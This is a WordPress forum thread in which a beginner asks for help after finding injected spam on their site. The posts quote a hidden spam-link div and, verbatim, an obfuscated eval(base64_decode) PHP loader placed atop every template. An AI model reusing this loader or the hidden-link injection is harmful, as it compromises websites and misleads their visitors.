WordPress.org

Forums

Spam in my Source Code? (7 posts)

  1. jordy1
    Member
    Posted 6 years ago #

    Someone recently said I have spam in my source code. I am using wp-spam free.

    Here's my site could some one please check out the code and offer suggestions on how to eliminate the intruders?

    Fix My Cabinet

  2. esmi
    Forum Moderator
    Posted 6 years ago #

    I can't see anything obvious but then perhaps I missed it?

  3. jordy1
    Member
    Posted 6 years ago #

    <body><div style="display:none"><!--315189176-->In the submit site to search engines it is condescendingly delineate with a intrastate mick repellingly the drinkable tantrism and boidae of tar and harmonical coexistent with a boiling bextra and a anagallis of fissile scaffold.<!--873964310--> Sluttish <u><a href="http://www.semsikkha.org/forum/index.php/?

    Here's a few lines of the spam...can someone please help me get rid of these hitch hikers?

  4. erythisis
    Member
    Posted 6 years ago #

    It isn't a reference to your anti-spam plugin. Your site has been injected with a "invisible" div containing spam links. Visit your homepage and view the source. Find the "body" tag. The injected code is right after the body tag. When the div is displayed, there is a full page of spam text with several links to similarly attacked webpages.

    You will need to manually purge the code, then likely spend some time figuring out how the code got injected.

  5. jordy1
    Member
    Posted 6 years ago #

    I am a beginner, I'm going to need to be walked through this process.

    What should i do?

  6. jordy1
    Member
    Posted 6 years ago #

    <? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl 9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXsk R0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG 9tZS9jb250ZW50L2gvYS92L2hhdmVuZnVuMi9odG1sL3ByYXll cmZvcnlvdXRoL1RoZW1lcy9kZWZhdWx0L2ltYWdlcy9idXR0b2 5zL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9t ZS9jb250ZW50L2gvYS92L2hhdmVuZnVuMi9odG1sL3ByYXllcm ZvcnlvdXRoL1RoZW1lcy9kZWZhdWx0L2ltYWdlcy9idXR0b25z L3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2 dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZigh ZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbi BnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2 NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0 JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFE QzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0 E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRF QzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMz MwODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1 OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2JyxzdWJzdH IoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwx MCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMz kzMT0kUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMx WzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFND ErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkz MTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRD g2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1 RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRj A2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFC NDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwOD dBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdB N0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qz c0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5 Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUj ZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRS NjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fS RSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3pp bmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNj gyRjA2NzMyODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4 ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RD cyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMz MjNFMDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0Rk FEQzY4MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBNUI1RTMxMEVE NEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaC gkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtI ZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMz NFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2Rl KCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2 lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdD RDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ1 9yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5n bWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRT kwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZC OUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaC cpO319fQ==')); ?>

    The above is in the beginning of all of my templates on line #1 is this correct?

  7. jordy1
    Member
    Posted 6 years ago #

    What is this and what should I do with it? I tried deleting it but it won't delete.

Topic Closed

This topic has been closed to new replies.

About this Topic